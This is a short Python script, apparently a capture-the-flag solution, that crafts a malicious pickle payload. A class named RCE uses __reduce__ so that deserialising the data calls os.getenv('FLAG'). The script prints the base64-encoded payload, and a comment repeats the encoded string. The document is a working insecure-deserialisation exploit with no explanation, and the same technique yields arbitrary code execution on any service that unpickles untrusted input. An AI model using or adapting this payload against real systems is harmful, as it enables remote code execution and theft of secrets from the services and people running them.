#!/usr/bin/env python3
import pickle
import base64
import os

class RCE:
    def __reduce__(self):
        return (os.getenv, ('FLAG',))


pickled = pickle.dumps([RCE()])
print(base64.urlsafe_b64encode(pickled).decode()) # gASVHwAAAAAAAABdlIwCb3OUjAZnZXRlbnaUk5SMBEZMQUeUhZRSlGEu
